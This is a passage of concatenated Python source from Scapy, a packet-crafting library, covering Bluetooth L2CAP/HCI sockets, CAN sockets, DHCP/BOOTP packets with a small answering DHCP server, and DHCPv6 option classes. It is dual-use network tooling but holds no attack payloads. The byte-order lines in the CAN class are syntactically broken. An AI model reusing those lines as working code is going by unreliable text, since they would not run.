len(p)-4 #p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] p = p[:2]+bytes([(l&0xff),((l>>8)&0xff)])+p[4:] return p class L2CAP_CmdHdr(Packet): name = "L2CAP command header" fields_desc = [ ByteEnumField("code",8,{1:"rej",2:"conn_req",3:"conn_resp", 4:"conf_req",5:"conf_resp",6:"disconn_req", 7:"disconn_resp",8:"echo_req",9:"echo_resp", 10:"info_req",11:"info_resp"}), ByteField("id",0), LEShortField("len",None) ] def post_build(self, p, pay): p += pay if self.len is None: l = len(p)-4 #p = p[:2]+chr(l&0xff)+chr((l>>8)&0xff)+p[4:] p = p[:2]+bytes([(l&0xff),((l>>8)&0xff)])+p[4:] return p def answers(self, other): if other.id == self.id: if self.code == 1: return 1 if other.code in [2,4,6,8,10] and self.code == other.code+1: if other.code == 8: return 1 return self.payload.answers(other.payload) return 0 class L2CAP_ConnReq(Packet): name = "L2CAP Conn Req" fields_desc = [ LEShortEnumField("psm",0,{1:"SDP",3:"RFCOMM",5:"telephony control"}), LEShortField("scid",0), ] class L2CAP_ConnResp(Packet): name = "L2CAP Conn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), LEShortEnumField("result",0,["no_info","authen_pend","author_pend"]), LEShortEnumField("status",0,["success","pend","bad_psm", "cr_sec_block","cr_no_mem"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_CmdRej(Packet): name = "L2CAP Command Rej" fields_desc = [ LEShortField("reason",0), ] class L2CAP_ConfReq(Packet): name = "L2CAP Conf Req" fields_desc = [ LEShortField("dcid",0), LEShortField("flags",0), ] class L2CAP_ConfResp(Packet): name = "L2CAP Conf Resp" fields_desc = [ LEShortField("scid",0), LEShortField("flags",0), LEShortEnumField("result",0,["success","unaccept","reject","unknown"]), ] def answers(self, other): return self.scid == other.scid class L2CAP_DisconnReq(Packet): name = "L2CAP Disconn Req" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] class L2CAP_DisconnResp(Packet): name = "L2CAP Disconn Resp" fields_desc = [ LEShortField("dcid",0), LEShortField("scid",0), ] def answers(self, other): return self.scid == other.scid class L2CAP_InfoReq(Packet): name = "L2CAP Info Req" fields_desc = [ LEShortEnumField("type",0,{1:"CL_MTU",2:"FEAT_MASK"}), StrField("data","") ] class L2CAP_InfoResp(Packet): name = "L2CAP Info Resp" fields_desc = [ LEShortField("type",0), LEShortEnumField("result",0,["success","not_supp"]), StrField("data",""), ] def answers(self, other): return self.type == other.type bind_layers( HCI_Hdr, HCI_ACL_Hdr, type=2) bind_layers( HCI_Hdr, conf.raw_layer, ) bind_layers( HCI_ACL_Hdr, L2CAP_Hdr, ) bind_layers( L2CAP_Hdr, L2CAP_CmdHdr, cid=1) bind_layers( L2CAP_CmdHdr, L2CAP_CmdRej, code=1) bind_layers( L2CAP_CmdHdr, L2CAP_ConnReq, code=2) bind_layers( L2CAP_CmdHdr, L2CAP_ConnResp, code=3) bind_layers( L2CAP_CmdHdr, L2CAP_ConfReq, code=4) bind_layers( L2CAP_CmdHdr, L2CAP_ConfResp, code=5) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnReq, code=6) bind_layers( L2CAP_CmdHdr, L2CAP_DisconnResp, code=7) bind_layers( L2CAP_CmdHdr, L2CAP_InfoReq, code=10) bind_layers( L2CAP_CmdHdr, L2CAP_InfoResp, code=11) class BluetoothL2CAPSocket(SuperSocket): desc = "read/write packets on a connected L2CAP socket" def __init__(self, peer): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_L2CAP) s.connect((peer,0)) self.ins = self.outs = s def recv(self, x=MTU): return L2CAP_CmdHdr(self.ins.recv(x)) class BluetoothHCISocket(SuperSocket): desc = "read/write on a BlueTooth HCI socket" def __init__(self, iface=0x10000, type=None): s = socket.socket(socket.AF_BLUETOOTH, socket.SOCK_RAW, socket.BTPROTO_HCI) s.setsockopt(socket.SOL_HCI, socket.HCI_DATA_DIR,1) s.setsockopt(socket.SOL_HCI, socket.HCI_TIME_STAMP,1) s.setsockopt(socket.SOL_HCI, socket.HCI_FILTER, struct.pack("IIIh2x", 0xffffffff,0xffffffff,0xffffffff,0)) #type mask, event mask, event mask, opcode s.bind((iface,)) self.ins = self.outs = s # s.connect((peer,0)) def recv(self, x): return HCI_Hdr(self.ins.recv(x)) ## Bluetooth @conf.commands.register def srbt(peer, pkts, inter=0.1, *args, **kargs): """send and receive using a bluetooth socket""" s = conf.BTsocket(peer=peer) a,b = sndrcv(s,pkts,inter=inter,*args,**kargs) s.close() return a,b @conf.commands.register def srbt1(peer, pkts, *args, **kargs): """send and receive 1 packet using a bluetooth socket""" a,b = srbt(peer, pkts, *args, **kargs) if len(a) > 0: return a[0][1] conf.BTsocket = BluetoothL2CAPSocket scapy-0.23/scapy/layers/can.py000066400000000000000000000100211320561231000162710ustar00rootroot00000000000000#! /usr/bin/env python ## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Nils Weiss ## This program is published under a GPLv2 license """ CANSocket. """ from scapy.packet import * from scapy.fields import * import scapy.sendrecv as sendrecv from scapy.supersocket import SuperSocket from scapy.arch.linux import get_last_packet_timestamp ############ ## Consts ## ############ CAN_FRAME_SIZE = 16 LINKTYPE_CAN_SOCKETCAN = 227 # From pcap spec CAN_INV_FILTER = 0x20000000 class CAN(Packet): name = 'CAN' fields_desc = [ FlagsField("flags", 0, 3, ["ERR", "RTR", "EFF"]), XBitField("id", 0, 29), PadField(FieldLenField('dlc', None, length_of='data', fmt='B'), 4), PadField(StrLenField('data', '', length_from=lambda pkt: min(pkt.dlc, 8)), 8) ] def extract_padding(self, p): return '', p def pre_dissect(self, s): # need to change the byteoder of the first four bytes return struct.pack('I12s', s)) def post_build(self, pkt, pay): # need to change the byteoder of the first four bytes return struct.pack('I12s', pkt))+pay class CANSocket(SuperSocket): desc = "read/write packets at a given CAN interface using PF_CAN sockets" def __init__(self, iface=None, receive_own_messages=False, filter=None): if iface is None: iface = conf.CANiface self.ins = socket.socket(socket.PF_CAN, socket.SOCK_RAW, socket.CAN_RAW) try: self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_RECV_OWN_MSGS, struct.pack('i', receive_own_messages)) except Exception as e: Scapy_Exception("Could not receive own messages (%s)", e) if filter is None: filter = [{ 'can_id': 0, 'can_mask': 0 }] can_filter_fmt = "={}I".format(2 * len(filter)) filter_data = [] for can_filter in filter: filter_data.append(can_filter['can_id']) filter_data.append(can_filter['can_mask']) self.ins.setsockopt(socket.SOL_CAN_RAW, socket.CAN_RAW_FILTER, struct.pack(can_filter_fmt, *filter_data) ) self.ins.bind((iface,)) self.outs = self.ins def recv(self, x=CAN_FRAME_SIZE): # Fetching the Arb ID, DLC and Data try: pkt, sa_ll = self.ins.recvfrom(x) except BlockingIOError: warning('Captured no data, socket in non-blocking mode.') return None except socket.timeout: warning('Captured no data, socket read timed out.') return None except OSError: # something bad happened (e.g. the interface went down) warning("Captured no data.") return None q = CAN(pkt) q.time = get_last_packet_timestamp(self.ins) return q def sr(self, *args, **kargs): return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): a,b = sendrecv.sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): return sendrecv.sniff(opened_socket=self, *args, **kargs) @conf.commands.register def srcan(pkt, iface=None, receive_own_messages=False, filter=None, *args, **kargs): if not "timeout" in kargs: kargs["timeout"] = -1 s = conf.CANSocket(iface, receive_own_messages, filter) a, b = s.sr(pkt, *args, **kargs) s.close() return a, b @conf.commands.register def srcanloop(pkts, *args, **kargs): """Send a packet at can layer in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return sendrecv.__sr_loop(srcan, pkts, *args, **kargs) conf.l2types.register(LINKTYPE_CAN_SOCKETCAN, CAN) conf.CANiface = "can0" conf.CANSocket = CANSocket scapy-0.23/scapy/layers/dhcp.py000066400000000000000000000301601320561231000164540ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ DHCP (Dynamic Host Configuration Protocol) d BOOTP """ import struct from scapy.packet import * from scapy.fields import * from scapy.ansmachine import * from scapy.layers.inet import UDP,IP from scapy.layers.l2 import Ether from scapy.base_classes import Net from scapy.volatile import RandField from scapy.arch import get_if_raw_hwaddr from scapy.sendrecv import srp1 from scapy.utils import str2bytes dhcpmagic=b"c\x82Sc" class BOOTP(Packet): name = "BOOTP" fields_desc = [ ByteEnumField("op",1, {1:"BOOTREQUEST", 2:"BOOTREPLY"}), ByteField("htype",1), ByteField("hlen",6), ByteField("hops",0), IntField("xid",0), ShortField("secs",0), FlagsField("flags", 0, 16, "???????????????B"), IPField("ciaddr","0.0.0.0"), IPField("yiaddr","0.0.0.0"), IPField("siaddr","0.0.0.0"), IPField("giaddr","0.0.0.0"), Field("chaddr",b"", "16s"), Field("sname",b"","64s"), Field("file",b"","128s"), StrField("options",b"") ] def guess_payload_class(self, payload): if self.options[:len(dhcpmagic)] == dhcpmagic: return DHCP else: return Packet.guess_payload_class(self, payload) def extract_padding(self,s): if self.options[:len(dhcpmagic)] == dhcpmagic: # set BOOTP options to DHCP magic cookie and make rest a payload of DHCP options payload = self.options[len(dhcpmagic):] self.options = self.options[:len(dhcpmagic)] return payload, None else: return b"", None def hashret(self): return struct.pack("L", self.xid) def answers(self, other): if not isinstance(other, BOOTP): return 0 return self.xid == other.xid #DHCP_UNKNOWN, DHCP_IP, DHCP_IPLIST, DHCP_TYPE \ #= range(4) # DHCPTypes = { 1: "discover", 2: "offer", 3: "request", 4: "decline", 5: "ack", 6: "nak", 7: "release", 8: "inform", 9: "force_renew", 10:"lease_query", 11:"lease_unassigned", 12:"lease_unknown", 13:"lease_active", } DHCPOptions = { 0: "pad", 1: IPField("subnet_mask", "0.0.0.0"), 2: "time_zone", 3: IPField("router","0.0.0.0"), 4: IPField("time_server","0.0.0.0"), 5: IPField("IEN_name_server","0.0.0.0"), 6: IPField("name_server","0.0.0.0"), 7: IPField("log_server","0.0.0.0"), 8: IPField("cookie_server","0.0.0.0"), 9: IPField("lpr_server","0.0.0.0"), 12: "hostname", 14: "dump_path", 15: "domain", 17: "root_disk_path", 22: "max_dgram_reass_size", 23: "default_ttl", 24: "pmtu_timeout", 28: IPField("broadcast_address","0.0.0.0"), 35: "arp_cache_timeout", 36: "ether_or_dot3", 37: "tcp_ttl", 38: "tcp_keepalive_interval", 39: "tcp_keepalive_garbage", 40: "NIS_domain", 41: IPField("NIS_server","0.0.0.0"), 42: IPField("NTP_server","0.0.0.0"), 43: "vendor_specific", 44: IPField("NetBIOS_server","0.0.0.0"), 45: IPField("NetBIOS_dist_server","0.0.0.0"), 50: IPField("requested_addr","0.0.0.0"), 51: IntField("lease_time", 43200), 54: IPField("server_id","0.0.0.0"), 55: "param_req_list", 57: ShortField("max_dhcp_size", 1500), 58: IntField("renewal_time", 21600), 59: IntField("rebinding_time", 37800), 60: "vendor_class_id", 61: "client_id", 64: "NISplus_domain", 65: IPField("NISplus_server","0.0.0.0"), 69: IPField("SMTP_server","0.0.0.0"), 70: IPField("POP3_server","0.0.0.0"), 71: IPField("NNTP_server","0.0.0.0"), 72: IPField("WWW_server","0.0.0.0"), 73: IPField("Finger_server","0.0.0.0"), 74: IPField("IRC_server","0.0.0.0"), 75: IPField("StreetTalk_server","0.0.0.0"), 76: "StreetTalk_Dir_Assistance", 82: "relay_agent_Information", 53: ByteEnumField("message-type", 1, DHCPTypes), # 55: DHCPRequestListField("request-list"), 255: "end" } DHCPRevOptions = {} for k,v in DHCPOptions.items(): if type(v) is str: n = v v = None else: n = v.name DHCPRevOptions[n] = (k,v) del(n) del(v) del(k) class RandDHCPOptions(RandField): def __init__(self, size=None, rndstr=None): if size is None: size = RandNumExpo(0.05) self.size = size if rndstr is None: rndstr = RandBin(RandNum(0,255)) self.rndstr=rndstr self._opts = list(DHCPOptions.values()) self._opts.remove("pad") self._opts.remove("end") def _fix(self): op = [] for k in range(self.size): o = random.choice(self._opts) if type(o) is str: op.append((o,self.rndstr*1)) else: op.append((o.name, o.randval()._fix())) return op class DHCPOptionsField(StrField): islist=1 def i2repr(self,pkt,x): s = [] for v in x: if type(v) is tuple and len(v) >= 2: if v[0] in DHCPRevOptions and isinstance(DHCPRevOptions[v[0]][1],Field): f = DHCPRevOptions[v[0]][1] vv = ",".join(f.i2repr(pkt,val) for val in v[1:]) else: vv = ",".join(repr(val) for val in v[1:]) r = "%s=%s" % (v[0],vv) s.append(r) else: s.append(sane(v)) return "[%s]" % (" ".join(s)) def getfield(self, pkt, s): return b"", self.m2i(pkt, s) def m2i(self, pkt, x): opt = [] while x: #o = ord(x[0]) o = x[0] if o == 255: opt.append("end") x = x[1:] continue if o == 0: opt.append("pad") x = x[1:] continue #if len(x) < 2 or len(x) < ord(x[1])+2: if len(x) < 2 or len(x) < x[1]+2: opt.append(x) break elif o in DHCPOptions: f = DHCPOptions[o] if isinstance(f, str): #olen = ord(x[1]) olen = x[1] opt.append( (f,x[2:olen+2]) ) x = x[olen+2:] else: olen = x[1] lval = [f.name] try: left = x[2:olen+2] while left: left, val = f.getfield(pkt,left) lval.append(val) except: opt.append(x) break else: otuple = tuple(lval) opt.append(otuple) x = x[olen+2:] else: #olen = ord(x[1]) olen = x[1] opt.append((o, x[2:olen+2])) x = x[olen+2:] return opt def i2m(self, pkt, x): if type(x) is str: return x s = b"" for o in x: if type(o) is tuple and len(o) >= 2: name = o[0] lval = o[1:] if isinstance(name, int): onum, oval = name, b"".join(lval) elif name in DHCPRevOptions: onum, f = DHCPRevOptions[name] if f is not None: lval = [f.addfield(pkt,b"",f.any2i(pkt,val)) for val in lval] oval = b"".join(lval) else: warning("Unknown field option %s" % name) continue s += bytes([onum]) s += bytes([len(oval)]) s += oval elif (type(o) is str and o in DHCPRevOptions and DHCPRevOptions[o][1] == None): s += bytes([DHCPRevOptions[o][0]]) elif type(o) is int: s += chr(o)+b"\0" elif type(o) is str: s += str2bytes(o) elif type(o) is bytes: s += o else: warning("Malformed option %s" % o) return s class DHCP(Packet): name = "DHCP options" fields_desc = [ DHCPOptionsField("options",b"") ] bind_layers( UDP, BOOTP, dport=67, sport=68) bind_layers( UDP, BOOTP, dport=68, sport=67) bind_bottom_up( UDP, BOOTP, dport=67, sport=67) bind_layers( BOOTP, DHCP, options=b'c\x82Sc') def dhcp_request(iface=None,**kargs): if conf.checkIPaddr != 0: warning("conf.checkIPaddr is not 0, I may not be able to match the answer") if iface is None: iface = conf.iface hw = get_if_raw_hwaddr(iface) return srp1(Ether(dst="ff:ff:ff:ff:ff:ff")/IP(src="0.0.0.0",dst="255.255.255.255")/UDP(sport=68,dport=67) /BOOTP(chaddr=hw)/DHCP(options=[("message-type","discover"),"end"]),iface=iface,**kargs) class BOOTP_am(AnsweringMachine): function_name = "bootpd" filter = "udp and port 68 and port 67" send_function = staticmethod(sendp) def parse_options(self, pool=Net("192.168.1.128/25"), network="192.168.1.0/24",gw="192.168.1.1", domain="localnet", renewal_time=60, lease_time=1800): if type(pool) is str: poom = Net(pool) self.domain = domain netw,msk = (network.split("/")+["32"])[:2] msk = itom(int(msk)) self.netmask = ltoa(msk) self.network = ltoa(atol(netw)&msk) self.broadcast = ltoa( atol(self.network) | (0xffffffff&~msk) ) self.gw = gw if isinstance(pool,Gen): pool = [k for k in pool if k not in [gw, self.network, self.broadcast]] pool.reverse() if len(pool) == 1: pool, = pool self.pool = pool self.lease_time = lease_time self.renewal_time = renewal_time self.leases = {} def is_request(self, req): if not req.haslayer(BOOTP): return 0 reqb = req.getlayer(BOOTP) if reqb.op != 1: return 0 return 1 def print_reply(self, req, reply): print("Reply %s to %s" % (reply.getlayer(IP).dst,reply.dst)) def make_reply(self, req): mac = req.src if type(self.pool) is list: if not mac in self.leases: self.leases[mac] = self.pool.pop() ip = self.leases[mac] else: ip = self.pool repb = req.getlayer(BOOTP).copy() repb.op="BOOTREPLY" repb.yiaddr = ip repb.siaddr = self.gw repb.ciaddr = self.gw repb.giaddr = self.gw del(repb.payload) rep=Ether(dst=mac)/IP(dst=ip)/UDP(sport=req.dport,dport=req.sport)/repb return rep class DHCP_am(BOOTP_am): function_name="dhcpd" def make_reply(self, req): resp = BOOTP_am.make_reply(self, req) if DHCP in req: dhcp_options = [(op[0],{1:2,3:5}.get(op[1],op[1])) for op in req[DHCP].options if type(op) is tuple and op[0] == "message-type"] dhcp_options += [("server_id",self.gw), ("domain", self.domain), ("router", self.gw), ("name_server", self.gw), ("broadcast_address", self.broadcast), ("subnet_mask", self.netmask), ("renewal_time", self.renewal_time), ("lease_time", self.lease_time), "end" ] resp /= DHCP(options=dhcp_options) return resp scapy-0.23/scapy/layers/dhcp6.py000066400000000000000000002126551320561231000165550ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license ## Copyright (C) 2005 Guillaume Valadon ## Arnaud Ebalard """ DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315] """ import socket from scapy.packet import * from scapy.fields import * from scapy.utils6 import * from scapy.layers.inet6 import * from scapy.ansmachine import AnsweringMachine ############################################################################# # Helpers ## ############################################################################# def get_cls(name, fallback_cls): return globals().get(name, fallback_cls) ############################################################################# ############################################################################# ### DHCPv6 ### ############################################################################# ############################################################################# All_DHCP_Relay_Agents_and_Servers = "ff02::1:2" All_DHCP_Servers = "ff05::1:3" # Site-Local scope : deprecated by 3879 dhcp6opts = { 1: "CLIENTID", 2: "SERVERID", 3: "IA_NA", 4: "IA_TA", 5: "IAADDR", 6: "ORO", 7: "PREFERENCE", 8: "ELAPSED_TIME", 9: "RELAY_MSG", 11: "AUTH", 12: "UNICAST", 13: "STATUS_CODE", 14: "RAPID_COMMIT", 15: "USER_CLASS", 16: "VENDOR_CLASS", 17: "VENDOR_OPTS", 18: "INTERFACE_ID", 19: "RECONF_MSG", 20: "RECONF_ACCEPT", 21: "SIP Servers Domain Name List", #RFC3319 22: "SIP Servers IPv6 Address List", #RFC3319 23: "DNS Recursive Name Server Option", #RFC3646 24: "Domain Search List option", #RFC3646 25: "OPTION_IA_PD", #RFC3633 26: "OPTION_IAPREFIX", #RFC3633 27: "OPTION_NIS_SERVERS", #RFC3898 28: "OPTION_NISP_SERVERS", #RFC3898 29: "OPTION_NIS_DOMAIN_NAME", #RFC3898 30: "OPTION_NISP_DOMAIN_NAME", #RFC3898 31: "OPTION_SNTP_SERVERS", #RFC4075 32: "OPTION_INFORMATION_REFRESH_TIME", #RFC4242 33: "OPTION_BCMCS_SERVER_D", #RFC4280 34: "OPTION_BCMCS_SERVER_A", #RFC4280 36: "OPTION_GEOCONF_CIVIC", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "OPTION_REMOTE_ID", #RFC4649 38: "OPTION_SUBSCRIBER_ID", #RFC4580 39: "OPTION_CLIENT_FQDN" } #RFC4704 dhcp6opts_by_code = { 1: "DHCP6OptClientId", 2: "DHCP6OptServerId", 3: "DHCP6OptIA_NA", 4: "DHCP6OptIA_TA", 5: "DHCP6OptIAAddress", 6: "DHCP6OptOptReq", 7: "DHCP6OptPref", 8: "DHCP6OptElapsedTime", 9: "DHCP6OptRelayMsg", 11: "DHCP6OptAuth", 12: "DHCP6OptServerUnicast", 13: "DHCP6OptStatusCode", 14: "DHCP6OptRapidCommit", 15: "DHCP6OptUserClass", 16: "DHCP6OptVendorClass", 17: "DHCP6OptVendorSpecificInfo", 18: "DHCP6OptIfaceId", 19: "DHCP6OptReconfMsg", 20: "DHCP6OptReconfAccept", 21: "DHCP6OptSIPDomains", #RFC3319 22: "DHCP6OptSIPServers", #RFC3319 23: "DHCP6OptDNSServers", #RFC3646 24: "DHCP6OptDNSDomains", #RFC3646 25: "DHCP6OptIA_PD", #RFC3633 26: "DHCP6OptIAPrefix", #RFC3633 27: "DHCP6OptNISServers", #RFC3898 28: "DHCP6OptNISPServers", #RFC3898 29: "DHCP6OptNISDomain", #RFC3898 30: "DHCP6OptNISPDomain", #RFC3898 31: "DHCP6OptSNTPServers", #RFC4075 32: "DHCP6OptInfoRefreshTime", #RFC4242 33: "DHCP6OptBCMCSDomains", #RFC4280 34: "DHCP6OptBCMCSServers", #RFC4280 #36: "DHCP6OptGeoConf", #RFC-ietf-geopriv-dhcp-civil-09.txt 37: "DHCP6OptRemoteID", #RFC4649 38: "DHCP6OptSubscriberID", #RFC4580 39: "DHCP6OptClientFQDN", #RFC4704 #40: "DHCP6OptPANAAgent", #RFC-ietf-dhc-paa-option-05.txt #41: "DHCP6OptNewPOSIXTimeZone, #RFC4833 #42: "DHCP6OptNewTZDBTimeZone, #RFC4833 43: "DHCP6OptRelayAgentERO" #RFC4994 #44: "DHCP6OptLQQuery", #RFC5007 #45: "DHCP6OptLQClientData", #RFC5007 #46: "DHCP6OptLQClientTime", #RFC5007 #47: "DHCP6OptLQRelayData", #RFC5007 #48: "DHCP6OptLQClientLink", #RFC5007 } # sect 5.3 RFC 3315 : DHCP6 Messages types dhcp6types = { 1:"SOLICIT", 2:"ADVERTISE", 3:"REQUEST", 4:"CONFIRM", 5:"RENEW", 6:"REBIND", 7:"REPLY", 8:"RELEASE", 9:"DECLINE", 10:"RECONFIGURE", 11:"INFORMATION-REQUEST", 12:"RELAY-FORW", 13:"RELAY-REPL" } ##################################################################### ### DHCPv6 DUID related stuff ### ##################################################################### duidtypes = { 1: "Link-layer address plus time", 2: "Vendor-assigned unique ID based on Enterprise Number", 3: "Link-layer Address" } # DUID hardware types - RFC 826 - Extracted from # http://www.iana.org/assignments/arp-parameters on 31/10/06 # We should add the length of every kind of address. duidhwtypes = { 0: "NET/ROM pseudo", # Not referenced by IANA 1: "Ethernet (10Mb)", 2: "Experimental Ethernet (3Mb)", 3: "Amateur Radio AX.25", 4: "Proteon ProNET Token Ring", 5: "Chaos", 6: "IEEE 802 Networks", 7: "ARCNET", 8: "Hyperchannel", 9: "Lanstar", 10: "Autonet Short Address", 11: "LocalTalk", 12: "LocalNet (IBM PCNet or SYTEK LocalNET)", 13: "Ultra link", 14: "SMDS", 15: "Frame Relay", 16: "Asynchronous Transmission Mode (ATM)", 17: "HDLC", 18: "Fibre Channel", 19: "Asynchronous Transmission Mode (ATM)", 20: "Serial Line", 21: "Asynchronous Transmission Mode (ATM)", 22: "MIL-STD-188-220", 23: "Metricom", 24: "IEEE 1394.1995", 25: "MAPOS", 26: "Twinaxial", 27: "EUI-64", 28: "HIPARP", 29: "IP and ARP over ISO 7816-3", 30: "ARPSec", 31: "IPsec tunnel", 32: "InfiniBand (TM)", 33: "TIA-102 Project 25 Common Air Interface (CAI)" } class UTCTimeField(IntField): epoch = (2000, 1, 1, 0, 0, 0, 5, 1, 0) # required Epoch def i2repr(self, pkt, x): x = self.i2h(pkt, x) from time import gmtime, strftime, mktime delta = mktime(self.epoch) - mktime(gmtime(0)) x = x + delta t = strftime("%a, %d %b %Y %H:%M:%S +0000", gmtime(x)) return "%s (%d)" % (t, x) class _LLAddrField(MACField): pass # XXX We only support Ethernet addresses at the moment. _LLAddrField # will be modified when needed. Ask us. --arno class DUID_LLT(Packet): # sect 9.2 RFC 3315 name = "DUID - Link-layer address plus time" fields_desc = [ ShortEnumField("type", 1, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), UTCTimeField("timeval", 0), # i.e. 01 Jan 2000 _LLAddrField("lladdr", ETHER_ANY) ] # In fact, IANA enterprise-numbers file available at # http//www.iana.org/asignments/enterprise-numbers) # is simply huge (more than 2Mo and 600Ko in bz2). I'll # add only most common vendors, and encountered values. # -- arno iana_enterprise_num = { 9: "ciscoSystems", 35: "Nortel Networks", 43: "3Com", 311: "Microsoft", 2636: "Juniper Networks, Inc.", 4526: "Netgear", 5771: "Cisco Systems, Inc.", 5842: "Cisco Systems", 16885: "Nortel Networks" } class DUID_EN(Packet): # sect 9.3 RFC 3315 name = "DUID - Assigned by Vendor Based on Enterprise Number" fields_desc = [ ShortEnumField("type", 2, duidtypes), IntEnumField("enterprisenum", 311, iana_enterprise_num), StrField("id",b"") ] class DUID_LL(Packet): # sect 9.4 RFC 3315 name = "DUID - Based on Link-layer Address" fields_desc = [ ShortEnumField("type", 3, duidtypes), XShortEnumField("hwtype", 1, duidhwtypes), _LLAddrField("lladdr", ETHER_ANY) ] duid_cls = { 1: "DUID_LLT", 2: "DUID_EN", 3: "DUID_LL"} class _DHCP6GuessPayload(Packet): def guess_payload_class(self, payload): cls = conf.raw_layer if len(payload) > 2: dhcp6_type = struct.unpack("!B", payload[:1])[0] cls = get_cls(dhcp6_cls_by_type.get(dhcp6_type, "DHCP6"), DHCP6) return cls ##################################################################### ### DHCPv6 Options classes ### ##################################################################### class _DHCP6OptGuessPayload(Packet): def guess_payload_class(self, payload): cls = conf.raw_layer if len(payload) > 2: opt = struct.unpack("!H", payload[:2])[0] cls = get_cls(dhcp6opts_by_code.get(opt, "DHCP6OptUnknown"), DHCP6OptUnknown) return cls class DHCP6OptUnknown(_DHCP6OptGuessPayload): # A generic DHCPv6 Option name = "Unknown DHCPv6 Option" fields_desc = [ ShortEnumField("optcode", 0, dhcp6opts), FieldLenField("optlen", None, length_of="data", fmt="!H"), StrLenField("data", b"", length_from = lambda pkt: pkt.optlen)] class _DUIDField(PacketField): holds_packets=1 def __init__(self, name, default, length_from=None): StrField.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, i): return bytes(i) def m2i(self, pkt, x): cls = conf.raw_layer if len(x) > 4: o = struct.unpack("!H", x[:2])[0] cls = get_cls(duid_cls.get(o, conf.raw_layer), conf.raw_layer) return cls(x) def getfield(self, pkt, s): l = self.length_from(pkt) return s[l:], self.m2i(pkt,s[:l]) class DHCP6OptClientId(_DHCP6OptGuessPayload): # RFC sect 22.2 name = "DHCP6 Client Identifier Option" fields_desc = [ ShortEnumField("optcode", 1, dhcp6opts), FieldLenField("optlen", None, length_of="duid", fmt="!H"), _DUIDField("duid", "", length_from = lambda pkt: pkt.optlen) ] class DHCP6OptServerId(DHCP6OptClientId): # RFC sect 22.3 name = "DHCP6 Server Identifier Option" optcode = 2 # Should be encapsulated in the option field of IA_NA or IA_TA options # Can only appear at that location. # TODO : last field IAaddr-options is not defined in the reference document class DHCP6OptIAAddress(_DHCP6OptGuessPayload): # RFC sect 22.6 name = "DHCP6 IA Address Option (IA_TA or IA_NA suboption)" fields_desc = [ ShortEnumField("optcode", 5, dhcp6opts), FieldLenField("optlen", None, length_of="iaaddropts", fmt="!H", adjust = lambda pkt,x: x+24), IP6Field("addr", "::"), IntField("preflft", 0), IntField("validlft", 0), XIntField("iaid", None), StrLenField("iaaddropts", b"", length_from = lambda pkt: pkt.optlen - 24) ] def guess_payload_class(self, payload): return conf.padding_layer class _IANAOptField(PacketListField): def i2len(self, pkt, z): if z is None or z == []: return 0 return sum(map(lambda x: len(bytes(x)) ,z)) def getfield(self, pkt, s): l = self.length_from(pkt) lst = [] remain, payl = s[:l], s[l:] while len(remain)>0: p = self.m2i(pkt,remain) if conf.padding_layer in p: pad = p[conf.padding_layer] remain = pad.load del(pad.underlayer.payload) else: remain = "" lst.append(p) return payl,lst class DHCP6OptIA_NA(_DHCP6OptGuessPayload): # RFC sect 22.4 name = "DHCP6 Identity Association for Non-temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 3, dhcp6opts), FieldLenField("optlen", None, length_of="ianaopts", fmt="!H", adjust = lambda pkt,x: x+12), XIntField("iaid", None), IntField("T1", None), IntField("T2", None), _IANAOptField("ianaopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-12) ] class _IATAOptField(_IANAOptField): pass class DHCP6OptIA_TA(_DHCP6OptGuessPayload): # RFC sect 22.5 name = "DHCP6 Identity Association for Temporary Addresses Option" fields_desc = [ ShortEnumField("optcode", 4, dhcp6opts), FieldLenField("optlen", None, length_of="iataopts", fmt="!H", adjust = lambda pkt,x: x+4), XIntField("iaid", None), _IATAOptField("iataopts", [], DHCP6OptIAAddress, length_from = lambda pkt: pkt.optlen-4) ] #### DHCPv6 Option Request Option ################################### class _OptReqListField(StrLenField): islist = 1 def i2h(self, pkt, x): if x is None: return [] return x def i2len(self, pkt, x): return 2*len(x) def any2i(self, pkt, x): return x def i2repr(self, pkt, x): s = [] for y in self.i2h(pkt, x): if y in dhcp6opts: s.append(dhcp6opts[y]) else: s.append("%d" % y) return "[%s]" % ", ".join(s) def m2i(self, pkt, x): r = [] while len(x) != 0: if len(x)<2: warning("Odd length for requested option field. Rejecting last byte") return r r.append(struct.unpack("!H", x[:2])[0]) x = x[2:] return r def i2m(self, pkt, x): return b"".join(map(lambda y: struct.pack("!H", y), x)) # A client may include an ORO in a solicit, Request, Renew, Rebind, # Confirm or Information-request class DHCP6OptOptReq(_DHCP6OptGuessPayload): # RFC sect 22.7 name = "DHCP6 Option Request Option" fields_desc = [ ShortEnumField("optcode", 6, dhcp6opts), FieldLenField("optlen", None, length_of="reqopts", fmt="!H"), _OptReqListField("reqopts", [23, 24], length_from = lambda pkt: pkt.optlen) ] #### DHCPv6 Preference Option ####################################### # emise par un serveur pour affecter le choix fait par le client. Dans # les messages Advertise, a priori class DHCP6OptPref(_DHCP6OptGuessPayload): # RFC sect 22.8 name = "DHCP6 Preference Option" fields_desc = [ ShortEnumField("optcode", 7, dhcp6opts), ShortField("optlen", 1 ), ByteField("prefval",255) ] #### DHCPv6 Elapsed Time Option ##################################### class _ElapsedTimeField(ShortField): def i2repr(self, pkt, x): if x == 0xffff: return "infinity (0xffff)" return "%.2f sec" % (self.i2h(pkt, 